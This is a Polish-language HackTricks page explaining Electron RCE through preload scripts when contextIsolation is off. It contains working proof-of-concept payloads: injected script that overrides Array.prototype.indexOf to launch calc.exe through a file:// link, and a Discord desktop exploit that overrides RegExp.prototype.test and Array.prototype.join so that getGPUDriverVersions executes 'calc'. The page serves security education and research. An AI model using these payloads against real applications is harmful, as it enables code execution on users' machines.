Polish - Ht
HackTricks Training Twitter Linkedin Sponsor

Electron contextIsolation RCE via preload code

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Przykład 1

Przykład z https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Ten kod otwiera linki http(s) w domyślnej przeglądarce:

Coś w rodzaju file:///C:/Windows/systemd32/calc.exe mogłoby zostać użyte do uruchomienia kalkulatora, jednak SAFE_PROTOCOLS.indexOf temu zapobiega.

Dlatego atakujący mógłby wstrzyknąć ten kod JS poprzez XSS lub dowolną nawigację strony:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Jako wywołanie SAFE_PROTOCOLS.indexOf zawsze zwróci 1337, atakujący może ominąć zabezpieczenie i uruchomić kalkulator. Ostateczny exploit:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Sprawdź oryginalne slajdy w poszukiwaniu innych sposobów uruchamiania programów bez konieczności pytania o uprawnienia.

Podobno innym sposobem ładowania i uruchamiania kodu jest dostęp do czegoś w rodzaju file://127.0.0.1/electron/rce.jar

Przykład 2: Discord App RCE

Przykład z https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Podczas sprawdzania skryptów preload, odkryłem, że Discord ujawnia funkcję, która pozwala na wywołanie niektórych zezwolonych modułów za pomocą DiscordNative.nativeModules.requireModule('MODULE-NAME'), na stronie internetowej. Tutaj nie mogłem użyć modułów, które mogą być używane do zdalnego wykonania kodu, takich jak moduł child_process, ale znalazłem kod, w którym zdalne wykonanie kodu może być osiągnięte poprzez nadpisanie wbudowanych metod JavaScript i ingerowanie w wykonanie ujawnionego modułu.

Poniżej znajduje się PoC. Udało mi się potwierdzić, że aplikacja calc wyskakuje, gdy wywołuję funkcję getGPUDriverVersions, która jest zdefiniowana w module o nazwie "discord_utils" z narzędzi deweloperskich, podczas nadpisywania RegExp.prototype.test i Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Funkcja getGPUDriverVersions próbuje wykonać program, korzystając z biblioteki "execa", w sposób następujący:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Zazwyczaj execa próbuje wykonać "nvidia-smi.exe", który jest określony w zmiennej nvidiaSmiPath, jednakże z powodu nadpisanych RegExp.prototype.test i Array.prototype.join, argument jest zamieniany na "calc" wewnętrznej obróbce _execa_**.

Konkretnie, argument jest zamieniany poprzez zmianę następujących dwóch części.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

PreviousElectron Desktop AppsNextElectron contextIsolation RCE via Electron internal code

Last updated